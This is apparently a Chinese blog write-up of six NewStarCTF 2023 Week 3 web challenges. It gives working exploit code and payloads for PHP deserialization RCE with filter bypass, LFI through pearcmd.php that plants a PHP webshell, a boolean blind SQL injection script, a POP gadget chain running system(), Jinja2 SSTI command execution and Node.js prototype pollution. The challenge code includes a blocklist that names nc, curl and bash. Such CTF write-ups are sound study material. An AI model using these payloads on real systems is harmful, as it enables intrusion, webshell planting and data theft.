目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. R!!!C!!!E!!!
    2. 2.2. Include 🍐
    3. 2.3. medium_sql(复现)
    4. 2.4. POP Gadget
    5. 2.5. GenShin
    6. 2.6. OtenkiGirl(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NewStarCTF 2023 Week3

2023/10/15 CTF线上赛
  |     |   总文章阅读量:

前言

没啥精力打了

官方wp:https://shimo.im/docs/QPMRxzGktzsZnzhz/read

Web

R!!!C!!!E!!!

无回显rce

这题抢了个一血

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
} 

这里通过写入文件来获得回显内容,用引号绕过函数限制

exp:

<?php
class minipop{
    public $code="cat /flag_is_h3eeere|t'e'e 2";
    public $qwejaskdjnlka;
}

$a=new minipop();
$a->qwejaskdjnlka=new minipop();

echo serialize($a);

Include 🍐

LFI包含pearcmd.php进行命令执行

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?> 

有hint,我们先访问phpinfo.php

image-20231018172300157

$_SERVER['FLAG']这里发现hint

我们看一下register_argc_argv这个设置

image-20231018172407997

register_argc_argv = On,意味着可以LFI包含pearcmd.php进行命令执行

那么payload一把梭了,注意是pearcmd,include函数已经帮我们补上.php了

?file=?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd'])?>+/tmp/1.php

image-20231018173854748

写入成功

image-20231018173939726

直接包含/tmp/1,命令执行


medium_sql(复现)

布尔盲注

过滤union,select,and,or,sleep,where,ascii,substring,handler,information_schema

这几周sql做的有点麻,于是就没怎么试这道题

测试存在布尔盲注,注:#需编码成%23

?id=TMP0919'And if(1>0,1,0)%23
?id=TMP0919'And if(0>1,1,0)%23

前者可以返回正常的信息id: TMP0919,后者会返回id not exists

那就可以开始盲注了,注意用大小写绕过被过滤的字符

exp:

import requests

url = 'http://210a8d70-1389-4e32-9c29-af749329897b.node4.buuoj.cn:81/'
flag = ''
i = 0
j = 0
while True:
    head = 1
    tail = 127
    i += 1
    while head < tail:
        j += 1
        mid = (head + tail) >> 1
        #payload = f"TMP0919' And if(asCii(Substr((Select Group_Concat(table_name) fRom infoRmation_schema.tables wHere tAble_schema=dAtabase()),{i},1))>{mid},1,0)%23"
        # grades,here_is_flag
        #payload=f"TMP0919' And if(asCii(Substr((Select Group_Concat(column_name) fRom infoRmation_schema.columns wHere tAble_name='here_is_flag'),{i},1))>{mid},1,0)%23"
        # flag
        payload = f"TMP0919' And if(asCii(Substr((Select flag fRom here_is_flag),{i},1))>{mid},1,0)%23"
        # 查flag字段
        param = "id=" + payload
        #data = {"id": payload}
        r = requests.get(url, params=param)
        #r = requests.post(url, data=data)
        if "id: TMP0919" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 1:
        flag += chr(head)
        print(flag)
    else:
        break

POP Gadget

反序列化pop链

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']); 

链子:Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

不可访问的属性有点多,这里用__construct来连接,最后urlencode一下

exp:

<?php
class Begin{
    public $name;
}

class Then{
    private $func;
    public function __construct()
    {
        $this->func=new Super();
    }
}

class Handle{
    protected $obj;
    public function __construct()
    {
        $this->obj=new CTF();
    }
}

class Super{
    protected $obj;
    public function __construct()
    {
        $this->obj=new Handle();
    }
}

class CTF{
    public $handle;
    public function __construct()
    {
        $this->handle=new WhiteGod();
    }
}

class WhiteGod{
    public $func="system";
    public $var="cat /flag";
}

$a=new Begin();
$a->name=new Then();

echo(urlencode(serialize($a)));

GenShin

ssti

在响应头发现hint

image-20231015212337295

访问/secr3tofpop

name参数存在ssti注入

fuzz一下,ban了{{}}'requestinitlipsumpopen

直接查<class ‘os._wrap_close’>

/secr3tofpop?name={%print("".__class__.__mro__[1].__subclasses__())%}

位置在132,过滤了__init__可以用__enter__或者__exit__替代

/secr3tofpop?name={%print("".__class__.__mro__[1].__subclasses__()[132].__enter__.__globals__)%}

过滤了popen,可以考虑用system,但是这里测了半天不知道怎么带外

其实拼接字符串绕过即可

payload:

/secr3tofpop?name={%print("".__class__.__mro__[1].__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat /flag").read())%}

OtenkiGirl(复现)

nodejs原型链污染

app.js

const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;

const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");

const app = new Koa();

app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
    onerror: function (err, ctx) {
        // If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
        if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
            ctx.request.body = {}
        } else {
            throw err;
        }
    }
}));

[
    "info",
    "submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

app.listen(PORT, () => {
    console.info(`Server is running at port ${PORT}...`);
})

module.exports = app;

hint.txt: “请只看‘routes’文件夹。没有SQL注入。”御坂御坂满怀期待地说。

/routes/submit.js

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const Base58 = require("base-58");

const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const rndText = (length) => {
    return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('');
}

const timeText = (timestamp) => {
    timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString();
    let text1 = timestamp.substring(0, timestamp.length / 2);
    let text2 = timestamp.substring(timestamp.length / 2)
    let text = "";
    for (let i = 0; i < text1.length; i++)
        text += text1[i] + text2[text2.length - 1 - i];
    if (text2.length > text1.length) text += text2[0];
    return Base58.encode(rndText(3) + Buffer.from(text)); // length = 20
}

const rndID = (length, timestamp) => {
    const t = timeText(timestamp);
    if (length < t.length) return t.substring(0, length);
    else return t + rndText(length - t.length);
}

async function insert2db(data) {
    let date = String(data["date"]), place = String(data["place"]),
        contact = String(data["contact"]), reason = String(data["reason"]);
    const timestamp = Date.now();
    const wishid = rndID(24, timestamp);
    await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
        [wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
    return { wishid, date, place, contact, reason, timestamp }
}

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

router.post("/submit", async (ctx) => {
    if (ctx.header["content-type"] !== "application/json")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/json"
        }

    const jsonText = ctx.request.rawBody || "{}"
    try {
        const data = JSON.parse(jsonText);

        if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
            return ctx.body = {
                status: "error",
                msg: "Invalid parameter"
            }
        if (data["contact"].length <= 0 || data["reason"].length <= 0)
            return ctx.body = {
                status: "error",
                msg: "Parameters contact and reason cannot be empty"
            }

        const DEFAULT = {
            date: "unknown",
            place: "unknown"
        }
        const result = await insert2db(merge(DEFAULT, data));
        ctx.body = {
            status: "success",
            data: result
        };
    } catch (e) {
        console.error(e);
        ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

module.exports = router;

一眼merge函数,一时半会没找出来要污染啥

随便刷新传点东西抓包看一下,发现有/info/0和/submit的路由

跟踪到routes/info.js

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

router.post("/info/:ts?", async (ctx) => {
    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/x-www-form-urlencoded"
        }
    if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
    if (typeof timestamp !== "number")
        return ctx.body = {
            status: "error",
            msg: "Invalid parameter ts"
        }

    try {
        const data = await getInfo(timestamp).catch(e => { throw e });
        ctx.body = {
            status: "success",
            data: data
        }
    } catch (e) {
        console.error(e);
        return ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

module.exports = router;

那么可知/info/0是用于查询返回信息,可以猜测flag是通过查询返回信息得到的

直接看getInfo函数

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

这里对timestamp进行了一次过滤,使得所返回的数据不早于配置文件config中的min_public_time,猜测flag在这个min_public_time之前

跟踪到config.js和config.default.js

module.exports = {
    app_name: "OtenkiGirl",
    default_lang: "ja",
}
module.exports = {
    app_name: "OtenkiGirl",
    default_lang: "ja",
    min_public_time: "2019-07-09",
    server_port: 9960,
    webpack_dev_port: 9970
}

可以发现config.js并没有配置min_public_time

所以getInfo函数里面采用的min_public_time是config.default.js里的

因此可以考虑污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据

结合前面的merge函数,考虑注入data['__proto__']['min_public_time']的值即可

构造,发包污染min_public_time

{
    "date":"0",
    "place":"Kivotos",
    "contact":"bilibili",
    "reason":"lv5",
    "__proto__": {
        "min_public_time": "1001-01-01"  
    }
}

然后访问/info/0路由获取全部信息即可得到flag

image-20231025001411117